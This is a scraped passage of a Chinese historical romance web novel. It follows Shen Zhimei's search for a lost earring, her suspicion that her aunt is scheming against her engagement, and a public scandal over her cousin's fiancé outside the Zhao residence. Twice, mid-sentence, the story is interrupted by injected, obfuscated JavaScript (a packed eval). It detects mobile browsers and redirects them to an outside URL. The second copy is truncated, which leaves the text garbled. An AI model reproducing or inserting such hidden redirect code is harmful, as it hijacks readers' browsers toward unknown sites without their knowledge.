耳坠没丢路上，多半就落畹芙居了，可畹芙居要还是找不见耳坠…… 碧枝小声提醒：“姑娘？” 沈之湄慢半拍地“唔”了声，神思扯回，哗啦啦素手撩动，目光随之落到纤柔的指节上，另一双骨节分明修长有力的手倏地划过脑海，电光火石间，某个她一直有意无意忽略的可能顷刻浮上沈之湄心头—— 那耳坠还可能被程晋安捡去了。 她心陡然急跳。 程晋安主政一部，堂堂阁老，深得帝心的权重之臣，且与陈沈两家皆无密切来往，于她而言仅为一面之缘的陌生外男。 两人鲜有交集。 她该如何问信于他？ 若耳坠果真在程晋安手里，她又该怎么讨回来？ 沈之湄一手抵额，不自主重拾被外祖母掰正的坏习惯——思忖跨越难关的门径时会一直咬唇哪怕皮破淌血。 沈之湄深吸一口气，定了定神开始有条不紊地洗手、净面。 耳坠，她无论如何都要找回。 11. 第 11 章 疾风将窗外梧桐树吹得噼噼啪啪，却吹不褪层叠卷积的浓云，黑沉如墨汁的夜幕，衬得窗前那一团烛光愈发煦柔，沈之湄斜倚在矮榻上，指间捧着一本书，但眼神却悬于虚空，久久不曾翻动书页。 她心绪仍系于耳坠之上。 程阁老乃天子信重之臣，日理万机，一只红宝耳坠较之朝政公务委实渺藐不值一顾，即便程阁老捡到耳坠，也可能随手一置，待她寻上门能否讨回便莫测难定了。 倘若如此…… 倏地，接连两道闷雷从远际天边呼啸滚来，“轰隆隆”巨响炸裂，将沈之湄惊回神。 眼见正剪烛花的碧枝陡然打了个哆嗦，小银剪差点从手里脱落，沈之湄合上书，起身近步，柔声安抚：“莫怕。” 碧枝长舒一口气：“奴婢可不怕打雷。不过是这雷来的突然，冷不丁被吓了一跳。姑娘可要就寝？” 沈之湄敛了敛心绪，应一声。 眼下事态未明，耳坠不一定便落在程阁老处，兴许明儿仔细搜检一番便寻回了。 且先不必鳃鳃过虑。 “瞧这光景儿，夜里怕是要下大雨，又是风又是雨的，窗子阖严实了姑娘才好安眠。”碧枝一面说着，一面搁下小银剪，动作麻利地把屋里半开的窗子关紧。 “方才老夫人瞧着大好了，您养好精神，待明儿雨歇云散，陪老夫人游园剪花，插瓶置景多好啊。” 一朵笑在沈之湄唇角绽放：“你说的很是。”凝沉的眉目眼梢一下子舒展开来，溢彩流光重汇于她黝黑眼眸。 碧枝见状稍放心。 不知是不是忧心老夫人的缘故，姑娘今儿总不开颜，眉眼间轻锁一抹郁郁愁云，疲惫忧虑难掩。 近些日子宿宿梦魇，今儿又是忙碌待客，又是为老夫人身子骨悬心，碧枝没法替姑娘分忧，一味心疼着急，只能尽本分用心侍候。 幸而姑娘心宽，不必枕着愁丝入梦。 她却不知，躺在幔帐内的沈之湄迟迟没有睡意，睁着眼，放空思绪，听凭空炸响的一道道雷声，湍急的，潺湲的，还有缓如绿江春水的轻雷……不知不觉间，沈之湄坐起身，探手挑开帐子。 闪电似狂舞的银蛇，来去匆匆，潮湿窒闷的房内时而亮如白昼，时而黑浓似墨，只窗棂处始终有一丛朦胧昏光随狂风肆虐游动，沈之湄怔怔看了一会儿，恍然意识到那是檐下玻璃灯笼挣扎不熄的羸弱灯火。 这玻璃灯笼乃大舅母赵氏贺她迁入沁芜院的乔迁礼。 赵氏彼时殷殷关切的话语犹在耳畔：“湄丫头，离了外祖母独住一院也别怕，我吩咐人在这院子里多挂几盏灯笼，从天黑烧到天亮，哪怕夜半醒了也一准明明朗朗的。” 当时，她面上虽一径克制，可氤氲于心口的那股熨烫至今依然残有余温—而今它正一寸寸冷却。 沈之湄以往觉得即使她父母亲缘浅薄，可她绝非孤家寡人，她还有外祖母，还有舅舅、舅妈、表妹、表哥…… 然今儿这遭后，除却外祖母，其余人全似蒙了一层薄纱，浮于他们面皮上的笑容朦胧暧昧，沈之湄实难分辨真伪。 尤其大舅母赵氏，寿安堂外间探问她时，扒在脸上多年的慈爱面具近乎皲裂，那一寸寸翻检审视的目光里，不经意迸逸出涔涔冷芒，好似淬了毒的针，在如此闷热的夜里，扎得她心底密密匝匝地直冒寒气。 七岁那年风寒，外祖母也卧病不起，是大舅母一力照看她，昏睡中她流泪呓语“母亲”，是大舅母搂抱安抚她，之后的调理温养，也是大舅母一一过问调派。 当日那般暄软的怀抱，那般暖柔的心肠，而今却冷硬如斯…… 一道赤白的闪电从天边霍然驰来，映亮沈之湄此刻模样：纤细的手臂紧紧抱住蜷缩的双腿，脸颊被膝头臂弯严严实实裹埋，不露一丝一毫神情，只那薄若蝉翼的肩，正微微战栗。 奔雷啸震，暴风裹挟雨珠，玻璃灯笼内残喘的那缕灯火没一会儿便“噗”地一声灭了。 须臾，沈之湄拔出脸，阖上幔帐躺平，繁芜的心绪在满耳的风雨如晦里慢慢井然起来。 赵氏虽要强好算计，但伯府由大舅舅南安伯陈预掌舵，倘此事全系赵氏一意擅行，大舅舅与表哥不知、不觉或不赞成，那这桩亲事便还做得；倘此事由赵氏和父子俩，或父子中的任一个合谋，那亲事再难成行，就算不舍外祖母，她亦决不委曲求全。 不愿做亲可由两家协商解除，既想悔婚，又不想为悔婚担责，便谋算甥女清誉，将之推向火坑，赵氏着实狠毒可恨，若不回敬忍气吞声……沈之湄万不能甘心！ 不知何时，雷声滚滚远去，风声渐歇，雨势略缓，淅淅沥沥的雨帘潺潺流水一般，冲走脑中迷障，一个计策徐徐浮出。 心神一松，沈之湄终于阖上眼。 云柳担心沈之湄仍旧梦魇，端着烛台轻手轻脚踱向床榻，悄然撩开幔帐，见姑娘睡颜安谧，刚舒一口气，余光便扫到姑娘鬓边蜿蜒着两道晶莹泪痕，不过眉心倒是平展的。 云柳踌躇半晌儿，合拢幔帐，放轻脚步退了出去。 翌日。 云柳一早来到外间听候，侍候沈之湄更衣蹬袜时，眼睛仔细在姑娘面上游走了一圈，但见姑娘两颊透出微微的粉，生生叫人想起万顷翠盖支起的那一朵菡萏色，杏仁眼眶虽晕着红，也不过瞧着多了几分弱柳扶风的楚楚之态。 她眼角眉梢一如外头那抹雨后初绽的曦光般，鲜活蓬勃。 云柳彻底放下心。 “姑娘今儿气色瞧着真好，想是夜里没再做噩梦。” 沈之湄坐到梳妆镜前，顾盼一番，浅笑颔首：“足睡了四个多时辰，很是舒畅松快。” 沈之湄原以为会睁眼到天亮，可不知何时睡着了，除去将入眠时做了一阵混沌的梦，之后一径无梦酣眠。 困缠她多日的梦魇没了，久违的神清气爽。 云柳凑趣道：“那奴婢可得给姑娘梳一个漂亮发髻，双螺髻，飞天髻或是百合髻？” 沈之湄温声婉拒：“简单一些，梳个偏寰髻就成。” 经过昨日种种，以及日后彻底脱离伯府的可能，方今沈之湄只想跟外祖母多呆一会儿，再多一会儿…… 恰这时，碧枝脚步匆匆入内，一脸难色，垂眼踌躇道：“姑、姑娘，廊下那盏大夫人送您的玻璃灯笼不知怎地裂了……” 这盏灯自送来那日起，除去取下来清洗，一直挂在廊檐下，姑娘从未吩咐更换，喜爱的紧，眼下灯面破裂，无法续用，姑娘定然伤怀。 碧枝悄悄抬眼觑沈之湄面色，却见沈之湄似乎怔忡了一瞬，她一口气不待提起，自家姑娘面上已显出一贯的和婉温文，越发衬得方才的失神像错觉。 “不打紧，既然坏了那就去库房再换一盏新的来。玻璃裂了，挂廊檐多危险，赶紧让人取下来，取灯的时候仔细些，莫伤着了。”沈之湄含笑叮嘱，碧枝讷讷领命，转脸她又吩咐微错愕的云柳，“叫你弟弟午后来一趟，我有事交代他。” 云柳、碧枝俱是自小陪伴沈之湄，但碧枝是外头买来的，云柳却是沈之湄奶娘的女儿，奶娘曾是沈之湄母亲的陪嫁丫鬟，后头嫁人生女，二胎碰巧与主子孕期相近，产下儿子六桂后，又以奶娘身份重回旧主左右，并被主子临终恳托小主子，奶娘叩头再三起誓。 奶娘忠贞，一直无微不至照护沈之湄，却在三年前一场急病病去了。因和奶娘感情十分亲厚，沈之湄婉拒了赵氏再指一个老成嬷嬷的好意，提拔云柳总领沁芜院一应人事。 至于六桂，则被沈之湄送到替她打理母亲嫁妆的大掌柜手下学买卖人情，六桂原就机灵活泛，经大掌柜几年调教，越发机变慎密。 可当一面。 云柳一愣，连忙应是。 姑娘好似有些微说不清道不明的变化…… 不出意料地，沈之湄今晨头一个跨进寿喜堂请安，趁着只祖孙俩人，她赖在外祖母怀里好生撒了一通娇，待人渐渐来齐，才从外祖母臂弯里磨开。 而陈玉珠果然又缀在尾梢露面，陈老夫人正问赵氏可备好赵氏母亲的寿礼。 “……头几天铺子里新来了一批海外物件，虽不若咱们的精巧，胜在新奇，便从中挑拣了几样。我粗拟了一份礼单，回头拿给老夫人瞧瞧。” 陈老夫人摆摆手，笑道：“你掌家多年，办事自是再妥当不过。” 话罢，她低头呷了口茶，眼底一缕沉思浮沉。 就是一贯理事妥当，才使昨儿丫鬟投湖之事显得不寻常。赵氏虽非顶伶俐慧敏之人，但接管中馈多年，府里人事十之八九瞒不过她眼，便是昨儿那般朋客盈门的大场合，哪怕不至游刃有余，处处妥帖，也不该闹出人命。 赵氏自有一番托词。 听着无甚破绽，但她心里头始终压着一丝猜疑。可如今她精力不济无力穷纠，且不聋不哑不做家翁——瞧一眼身畔明媚鲜妍的姑娘，她搁下茶盏转望赵氏，只消不累及她的湄丫头，她也懒得管。 赵氏捏着帕子掩了掩嘴角笑意，嗓音不知觉高了两分：“我母亲原想着不过一个寻常寿辰罢了，本不欲大办，兴师动众的，没得叫人受累。只是适逢我二弟任满回京，便想着他与众位亲朋故交多年未见，趁此机会将人都给请来，一并叙叙话，吃吃酒。母亲特特叮嘱我必要奉您一道去，您可一定赏光。” 陈老夫人轻咳一声，道：“昨儿大夫说要喝一旬的苦汤药，三日后便是你母亲寿辰，大喜的日子，我病病歪歪倒不好上门。代我向你母亲道个恼，跟她说，等我好了邀她一同去西山寺烧香。” 赵氏劝了两句，便略惋惜地默认了。 下首，陈玉珠一眼一眼剜沈之湄。 今儿两人皆梳了偏寰髻，但沈之湄因好眠肌肤白里染红，莹然剔透，恍如月宫仙子，而陈玉珠想起她因昨日晚膳无端端被母亲劈头盖脸训斥一通，由此辗转夜半生出的黑眼圈，心气已然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583737|171628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不顺，更遑论沈之湄自始至终连一道眼风都没往她扫过，叫她的眼刀全陷进棉花团里。 陈玉珠按捺不住，哼笑一声，余光乜着沈之湄，意有所指接口道：“祖母寿诞已过，眼看外祖母寿诞又至，却仍旧不见兄长人影，想是这京里，这府里，没甚么叫他挂心留恋的。” 见沈之湄低眸浅笑恍若未闻，还慢条斯理地将袖口轻微褶皱细细抚平，陈玉珠撇了撇嘴，挑眉问：“表姐，你说是吧？” “浑说什么呢！” 沈之湄才偏了偏头，赵氏已率先沉下脸冷斥，不着痕迹地游目端量陈老夫人和沈之湄神色。 其中，落在沈之湄脸上的目光短却极重，像是要凿穿面皮，直览内心。 沈之湄低敛着眉眼，但仿若孱弱蝶翼的纤密长睫于频频颤动间，漫溢出恰如其分的屈色。 陈老夫人则面容微沉，不带疑色，显见只是不满于陈玉珠口无遮拦。 赵氏伏动的心落回腔子。 陈老夫人昨日晕厥，钱氏索性恢复晨昏定省，今晨卯时二刻便来问安侍候，眼看气氛渐渐僵沉，遂笑语调侃：“珠丫头甭怕外祖母见不着大外孙嗔怪，到时候大嫂只消让湄丫头朝她老人家跟前一站，亲家老夫人保准开怀。” 赵氏扯出个笑，倘不接话就惹人疑了：“弟妹最知母亲，她自来喜爱湄丫头。” 这话听着合宜，却如无其事将钱氏话音里对沈之湄和陈咸之间暧昧干系的打趣抹去，轻飘飘落在长辈对后辈的纯然友善上。 陈老夫人跟钱氏未察其中深意，沈之湄却了然于胸，她稍稍掀起眼帘，从赵氏那张虚浮的笑脸中，筛篦出丝缕恼忿败坏。 赵氏隐晦地刮了一眼陈玉珠，道：“小孩儿家家，净瞎操心。” 兴许怕沈之湄或陈老夫人由此生了芥蒂，赵氏忖思少顷，格外诚挚耐心的解释：“咸儿头一个月里就传信讲已备好寿礼，字里行间无不透着期盼和急切。可天有不测风云，被阻在路上赶不回，咸儿还不定怎么憾恨难熬。近些年，他埋首学问功名，即便归家也不敢丝毫松怠，夙夜不懈，点灯熬油，人情世事上不免有所疏漏，望母亲看在他一心光耀门楣的份上，谅宥则个。待咸儿功名有成，必能侍奉您身畔，听您教诲。” 陈老夫人慈和地笑，赞道：“咸儿自幼立志光复门楣，数年如一日地勤勉砥砺，我向来引以为荣，又怎么苛责于他？” 一面儿说着，她一面儿轻轻抚着沈之湄肩颈，规律的动作里带了几许怜慰。 “男儿当以持身立业为重。他们在外头立住了，才能给咱们这些内宅女眷挣来体面。”赵氏颇具意味地笑睨了一眼沈之湄，“湄丫头说呢？” 心头浮上几丝讥讽，沈之湄羞赧状垂首，小声喃道：“……我听外祖母和大舅母的。” 赵氏满意一笑，余光却扫见陈玉珠翻了个白眼张口欲言，一记眼刀飞射过去。 这一眼像揉了冰，淬了刃，寒刺刺的，陈玉珠心口一凉，到底掐了到嘴的话茬。 沈之湄微微上撩的眼帘将一切尽收眼底。 陈玉珠吃瘪亦在她意料之中。 赵氏昨日行径胜在隐蔽和出其不意，假使掀到桌面，全经不起深思细究，如今府里丫鬟投湖自绝已让她这个内宅女主人落了个治家不严的罪名。 若追究之下，她欲退婚的意图暴露，先不提她算计沈之湄要遭受的非议和责斥，只妨碍陈咸另结姻缘一项，就叫她不敢再有疏漏。 昨日之事赵氏遮盖不迭，陈玉珠偏来拆台，说什么陈咸对她情谊寥寥，原想戳她心窝，却不知正戳在她母亲的肺管子上。 况—— 她对陈咸，兄妹之情远远多于男女之情，陈咸投眼的多寡虽会影响她心绪起伏，可万不至食不咽寝难安的地步。毕竟，陈咸自幼在外祖家附学，两人相处时日有限，在她情窦初开的年纪，他更是南下求学，仅过年时归京。 再加上陈玉珠三不五时的找茬，赵氏日益露骨的挑拣眼神，都在一点点消磨她对情情爱爱的美好想象。 她对婚约的执着，更多是因为嫁给陈咸，她能跟外祖母朝夕相对，一世不离。 而今这一愿景可能实现？ 可会沦为镜中花水中月？ 带着疑问，以及红宝耳坠梭巡未果的忧虑，沈之湄渡过漫漫三天。第四天一早她稍作打扮，便和盛装丽服，满面春风的陈玉珠踏上同一辆马车，跟在赵氏的马车后面，辘辘摇摇朝赵家而去。 嫌隙未消，俩人一路无话。 沈之湄乐得自在，闲听市井烟火，阖眼养神。 马车拐入赵府门前石街，踢踢踏踏片晌，马夫忽地仓皇呼喝一声，勒马停车。 车厢遽然一颠。 沈之湄将将稳住身形，眼眸深处掠过一丝沉色，陈玉珠已蹙眉扬声问道，“怎么回事？” 话音坠地，车夫紧绷的声嗓磕磕绊绊响起：“姑、姑娘，前头有人拦车。” 12. 第 12 章 陈玉珠闻言拨开车帘，拿眼向外瞧。 沈之湄亦举目望去。 目光穿过帘缝，一身姿袅娜的年轻女子碎步跨入她眼帘，尚未立定，便“噗通”一声跪在她与陈玉珠的车厢斜前。 女子抬起头，巴掌大的小脸曝在日光里，柳眉细目，琼鼻秀项，肌肤莹白胜雪，只眼下形容却称不上好，殷红眼圈儿裹着泪珠，额头上沁出斑斑血丝，她原就生得楚楚婉约，此时更有一番弱柳扶风的可怜娇怯之态。 不施脂粉，不戴珠翠，素衣木簪，楚腰一折，一语未发便已叫人偏心了三分。 周遭渐渐喧哗起来。 “……可怜，定是受了大冤屈……” “马车是南安伯府上的……” “……该不会是南安伯惹出的风流债吧？” 赵府今儿宾客盈门，大门口熙熙攘攘，候着捡福钱的民众不远不近围了一圈，供女客行走的偏门前排了几辆马车，迎宾的赵家男主人刚亲引贵客进府，不待仆从顾盼至此，女子已看清陈玉珠半边面孔，哀声哭求求陈二姑娘救命。 见陈玉珠面上疑色，连忙压抑哭腔，哀柔陈述起来。 女子嗓音软且颤，娓娓切切，拂开嘈杂的窃窃偶语。 女子自陈名叫姜梅娘，乃京郊民户之女，偶与赵家大房二公子赵万良结识，两人互生情谊，私定终身，如今她已为赵万良诞下一女，赵万良许诺待新夫人过门便接她入府—— “你说谁？谁要接你入府？！”陈玉珠一脸肃杀冬色，气急败坏喝问。 怒火熊熊，烧哑陈玉珠嗓子，这般提嗓尖啸，高门贵女的持重骄矜瓦解冰泮。 可姜梅娘所说的每一个字每一句话皆不啻于一道道惊雷炸在陈玉珠脑中，轰得她六神无主，丧魂失魄。 如此，她怎能沉静下来。 姜梅娘口里一遍遍唤着的“良郎”不仅是她她嫡亲表哥，更是她前年定下的未婚夫婿，就等她明年及笄，两人即可择日成婚。 她打小爱慕表哥，平素表哥也对她怜爱有加，再者表哥乃端方君子，温文翩翩，如何会像其他纨绔浪荡子那般尚未成婚便与外头女子纠缠不清，招揽一身风流债，枉顾体面，败坏声名？ 饶是人已找上门，陈玉珠仍不愿相信。 但—— 她却没法忽略愈演愈烈的心慌。 心愈慌，神愈燥，她便愈想掩饰狡赖，怒火也愈发旺盛，从脚烧到头，将理智烧成一抔灰。 于是，她抛却颜面，自降身份，亲口当街失声质询起来。 姜梅娘仿佛受了惊，一张娇嫩嫩的脸登时煞白，贝齿轻咬下唇，睫羽颤颤巍巍，语调亦小心翼翼地颤巍：“赵、赵家二公子，赵……万良。妾断没弄错人。” 与此同时，前头马车的赵氏闻听陈玉珠声音，当即疾言厉色叱喝：“一派胡言！”又吩咐陈玉珠不要理会。 陈玉珠置若罔闻，执拗地纹丝不动，仿佛学徒刻刀下的雕塑，线条死板，神情僵硬。 但她那颗心却在这惠风和畅的朗日里直直下坠。 “妾身万万不敢妄言！” 姜梅娘缩肩低头，惊恐地打了个颤，可不知想到什么，她眼神定了定，破釜沉舟般朝陈玉珠重重叩首，悲戚哭诉意图：“旬日前妾身孩儿骤染急症，四处寻医问药却总不见好，有一郎中曾善心提点此病罕见，太医院院判当世国手，或可一治，五日前二公子回府求救，自此杳无音信，再不见踪影。可怜我那孩儿如今已气息奄奄，稚子无辜，求姑娘行行好，救救我的孩子。” 陈玉珠极力克制，一腔怒火慢慢酿出酸涩滋味，嗓音像刮了一层霜，冰冷且凝涩：“干我何事？又凭何帮你？” “妾知姑娘与良……与二公子缔有婚约。”姜梅娘脸色白红交错了几刹，神情终于从虚浮逐渐定格成坚定，“妾蒲柳之姿，命贱之人，不敢跟姑娘争锋——” 后面仆妇马车上的俩嬷嬷受命去拖拽姜梅娘，熟料姜梅娘瞧上去柔弱，力气却不小，奋力挣脱赵嬷嬷钳制，又扑向陈玉珠：“只消姑娘向老夫人，夫人求求情，延请太医救下我儿，妾日后必结草衔环，唯姑娘马首是瞻！” 居高临下睥睨着姜梅娘被俩嬷嬷重拖开，陈玉珠神情倨傲，铺天盖地的酸楚淹没鼻尖，她几乎把掌心掐烂方才逼退涌至眼眶的潮气：“你算什么东西，不过是卑——” “二姑娘！”赵氏的心腹赵嬷嬷疾步而来，截住陈玉珠口无遮拦，“该女身份尚未分明，话里真假也不可知，与她痴缠，莫得辱没了您身份。” 一面说，她一面阖上车帘。 隔绝了视线，却隔绝不了声音，姜梅娘依旧一声比一声凄婉：“求求贵人，救救我的孩儿，妾身卑贱，但她却是……” “这位娘子！” 稠密的视线四面而来，且适逢赵老夫人寿辰，良辰美日不便动粗，更不好一直在门口喧嚷，终于赵府管事带领几名仆妇赶了过来，高声盖住姜梅娘话音。 一番威逼诱哄，姜梅娘被带进赵府。 而此事远远还没结束。 这一场变故来得凌厉又急促，仿似一把尖刃把陈赵两家的颜面给揭下来，徒留漫天狼藉和嘈切闲谈。 车轮再次辘辘而响。 巷道墙高路窄，光线黯淡，透过细瘦帘缝漫进车厢里，陈玉珠通身的珠光宝气倒似褪了层色。 她高昂起头目不斜视，可瞳仁涣散，下颌亦绷成一条弓弦，车厢摇摇摆摆，她腰背却一动不动，脊骨好似生锈的铁，直挺却僵沉。 沈之湄不着痕迹敛起眼眸，掠了掠鸦色发鬓，掠平眼底几缕波澜。 这一动作激活了陈玉珠的眼，她转脸狠狠刮了一刀沈之湄，咬牙切齿道：“小人嘴脸！”言罢，摔帘下车。 马车适才在赵府二门停稳，女客们须在此换乘赵府软轿，至后宅赴宴。 沈之湄微一扬眉梢，跟着下车。 小人嘴脸……陈玉珠是说她幸灾乐祸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“这会儿你定也乏了，先回房梳洗更衣，喝盏茶稍作歇息，再去寿喜堂请安罢。” 赵氏语气疲沓敷衍。 沈之湄状似不经意侧眼瞟了一下赵氏的脸色，只见之前墙腻子般刷在赵氏脸上的笑容，像抖落的脂粉，一点点自眼梢唇角剥离，显露出青青白白的斑驳。 赵氏此番情态，倒叫沈之湄弯折了眉眼。浓且长的睫羽罩下一湾浅影，笼住她眸中神色，端正一福礼，沈之湄道：“是。还望大舅母好生歇息保重。” 赵氏略一颔首，拉着离魂似的陈玉珠匆匆离开。 沈之湄则顿在原地，一直瞧着赵氏母女俩背影消失在一片绿云中。 久久伫立。 “姑娘？”碧枝觑一眼沈之湄，循着她视线望去，“姑娘，您瞧什么呢？有事您吩咐奴婢。这会子起风了，您当心喝了风坐下病来。” 沈之湄微微摇首，举步转身：“回罢。” 她只是瞧着，原来赵氏也会为自己女儿婚事坎坷而愤怒。 脚下小径由鹅卵石铺就，两侧花木扶疏，绿荫如盖，一直绵延至天际尽头，倏忽一阵风摇树动，一丛丛碧莹莹的叶片摩挲作响，轻柔的哗哗声，像在应和她。 走了几步，沈之湄不由地驻足回眸。 她更想瞧瞧，赵氏这位一心要毁儿子婚约的慈母，可会替女儿退了赵家这门乌糟亲事。